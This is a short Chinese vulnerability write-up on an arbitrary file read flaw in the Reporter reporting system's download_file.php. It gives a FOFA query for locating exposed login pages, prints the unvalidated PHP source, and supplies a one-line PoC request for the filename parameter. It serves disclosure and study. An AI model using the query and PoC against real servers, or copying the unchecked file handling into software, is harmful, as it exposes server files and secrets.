Reporter报表系统任意文件读取漏洞
漏洞描述
Reporter报表系统组件 download_file.php存在漏洞,攻击者通过任意文件读取漏洞可以读取服务器任意文件
漏洞影响
Reporter报表系统
FOFA
title="Login @ Reporter"
漏洞复现
Reporter报表系统是一个组件,涉及很多设备在使用,一般登录页面如下,但不一定。
download_file.php文件内容为:
<?php
$filename = $_REQUEST["filename"];
$savename = urldecode($_REQUEST["savename"]);
$file = fopen($filename,"r");
header( "Pragma: public" );
header( "Expires: 0" ); // set expiration time
header( "Cache-Component: must-revalidate, post-check=0, pre-check=0" );
Header("Accept-Ranges: bytes");
header("Content-Type: application/octet-stream");
header("Content-Length: " . filesize($filename));
header( "Content-Disposition: attachment; filename=".urlencode($savename));
header( 'Content-Transfer-Encoding: binary' );
fpassthru($file);
fclose($file);
exit();
?>
我们从代码中可以看到对filename变量是没有任何限制的,直接可进行任意文件读取,poc如下:
/view/action/download_file.php?filename=download_file.php&savename=